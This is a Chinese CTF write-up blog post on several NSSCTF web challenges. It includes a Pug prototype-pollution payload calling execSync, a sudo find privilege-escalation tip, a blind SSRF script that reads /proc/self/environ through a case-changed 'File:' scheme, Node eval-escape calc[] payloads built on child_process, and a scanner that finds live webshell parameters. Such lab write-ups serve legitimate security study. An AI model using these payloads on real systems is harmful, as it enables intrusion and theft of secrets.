NSSCTF第16页(1)

[湖湘杯 2021 final]vote

是有附件,下载下来解压

在/vote-1637654763\www\routes下找到了源码

这道题的考点是

AST配合Pug模板引擎实现注入

有现成的payload

p6.is

主要代码,需要满足if语句,从而可以执行compile语句

{
"__proto__.hero":{
    "name":"奇亚纳"
},
"__proto__.block": {
     "type": "Text",
    "line": "process.mainModule.require('child_process').execSync('cat /flag > /app/static/1.txt')"
    }
}

[HZNUCTF 2023 final]ezgo

它提示文件在$PATH变量中未找到,path的翻译是路径,文件和路径,很容易让人联想到/usr/bin/目录下的所有用户都可用的应用程序(绝对路径执行命令)

关于Linux服务器里 /usr/bin 目录和 /usr/local/bin目录_/usr/local/bin在那-CSDN博客 

发现/usr/bin/sudo是可用的

输入 /usr/bin/sudo -l 发现不行

并且提示find命令不需要密码

 

那就可以用sudo find提权命令进行提权

find 命令提权

find基础命令与提权教程_find提权-CSDN博客

 find  (一个路径或文件,必须存在)  -exec  执行命令 \;(\; 是-exec 参数的结尾标志)

 

 prize_p4

随便输入发现了说不是admin

点击get key 得到了这个,从最开始的url到现在的key,应该是ssrf+flask_session伪造

意思是是get传参时,访问/getkey得到这个页面,不是get传参时访问,得到的session就是key

用put访问,发现allow的时get head options,三种请求

得到了base64编码的key

 

选中部分解码得到key,进行伪造session

 key:777e890b-a3a1-45b5-ad0b-b43ca7e6be05

 

 

重新访问home页面,得到源码

 

代码审计一下

from flask import Flask, request, session, render_template, url_for,redirect,render_template_string
import base64
import urllib.request
import uuid
import flag

SECRET_KEY=str(uuid.uuid4())

app = Flask(__name__)
app.config.update(dict(
    SECRET_KEY=SECRET_KEY,
))

#src in /app

@app.route('/')
@app.route('/index',methods=['GET'])
def index():
    return render_template("index.html")

@app.route('/get_data', methods=["GET",'POST'])
def get_data():
    data = request.form.get('data', '123')
    if type(data) is str:
        data=data.encode('utf8')
    url = request.form.get('url', 'http://127.0.0.1:8888/')
    if data and url:
        session['data'] = data
        session['url'] = url
        session["admin"]=False
        return redirect(url_for('home'))
    return redirect(url_for('/'))

@app.route('/home', methods=["GET"])
def home():
    if session.get("admin",False):
        return render_template_string(open(__file__).read())
    else:
        return render_template("home.html",data=session.get('data','Not find data...'))

@app.route('/getkey', methods=["GET"])
def getkey():
    if request.method != "GET":
        session["key"]=SECRET_KEY
    return render_template_string('''@app.route('/getkey', methods=["GET"])
def getkey():
    if request.method != "GET":
        session["key"]=SECRET_KEY''')

@app.route('/get_hindd_result', methods=["GET"])
def get_hindd_result():
    if session['data'] and session['url']:
        if 'file:' in session['url']:
            return "no no no"
        data=(session['data']).decode('utf8')
        url_text=urllib.request.urlopen(session['url']).read().decode('utf8')
        if url_text in data or data in url_text:
            return "you get it"
    return "what ???"

@app.route('/getflag', methods=["GET"])
def get_flag():
    res = flag.waf(request)
    return res

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=8888)

/getflag路由,但是要利用这个路由得知道flag.waf的源码

get_hind_result,这个路由有一个ssrf,可以拿来读源码,但是不会直接显示出结果,只会返回you get it,所以要用盲注
这个路由的ssrf需要在session里设置参数,可以用最开始的/get_data路由来获得对应的session值

ssrf过滤了file协议,利用大小写可以绕过

import string
import requests

url1="http://node4.anna.nssctf.cn:28839/get_data"
url2="http://node4.anna.nssctf.cn:28839/get_hindd_result"
flag="NSSCTF{"
while 1:
    for i in string.printable:
        tmp_flag=flag+i
        data={"url":"File:///proc/self/environ","data":tmp_flag}
        res=requests.session()
        res.get(url1,data=data)
        session_tmp=str(res.cookies.values())[2:-2]
        flag_resp=requests.get(url2,cookies={"session":session_tmp})
        if "you get it" in flag_resp.text:
            flag+=i
            print(flag)
            break

 利用盲注脚本

[GFCTF 2021]ez_calc

给的提示:

1.别想太复杂,试着传传其他数据类型
2.字符串的length和数组的length是不一样的。你能将自己的payload逃逸出来吗。注:本题所有提示都只针对登陆后的操作。

源码提示:

他限制了登陆时候账号不能为admin,大写之后不能为ADMIN,密码是admin123

绕过:

利用特殊字符,比如通过Character.toUpperCose()后,ı会为I,但它经过Charocter.toLowerCose()后并不是i,所以说账户名为admın,登录成功

发现源码

 

 

 

 上面就是一个过滤字符sh ln fs x f lc , " (等,功能

然后关键点是最后eval(calc)会进行rce,

some() 方法会遍历由 split() 方法生成的字符数组中的所有元素

calc不能直接构造恶意参数,就算能,数组也执行不了 ,所以我们就需要进入那里面,需要逃逸多少个字符就定义多少个数组元素。 

calc数组长度一定要大于等于前面执行命令的字符串长度

calc[]=require('child_process').spawnSync('ls',['/']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

 

这里过滤了x,也无法直接利用exec,但是实际上这里是可以绕过的,因为我们通过require导入的模块是一个Object,那么就可以通过Object.values获取到child_process里面的各种方法,那么再通过数组下标[5]就可以得到execSync了,那么有了execSync后就可以通过写入文件的方式读取flag了

calc[]=require('child_process').spawnSync('nl',['p']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=. 

 

[强网杯 2019]高明的黑客

贴大佬的脚本,在本地运行,然后就可以得到可执行的shell,文件

import os
import requests
import re
import threading
import time
print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100)                                        #这儿设置最大的线程数
filePath = r"D:\ctf\src"
os.chdir(filePath)                                                #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5                            #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False                                 # 设置连接活跃状态为False
def get_content(file):
    s1.acquire()
    print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))
    with open(file,encoding='utf-8') as f:                            #打开php文件,提取所有的$_GET和$_POST的参数
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}                                                        #所有的$_POST
    params = {}                                                        #所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1/src/'+file
    req = session.post(url, data=data, params=params)            #一次性请求所有的GET和POST
    req.close()                                                # 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    #print(content)
    if "xxxxxx" in content:                                    #如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()                                                # 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()                                                # 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1:                                                    #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()

for i in files:                                                            #加入多线程
   t = threading.Thread(target=get_content, args=(i,))
   t.start()

跑完脚本,找到可利用参数
找到了利用文件: xk0SzyKwfzw.php

找到了利用的参数:Efa5BVG 

cat /flag

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值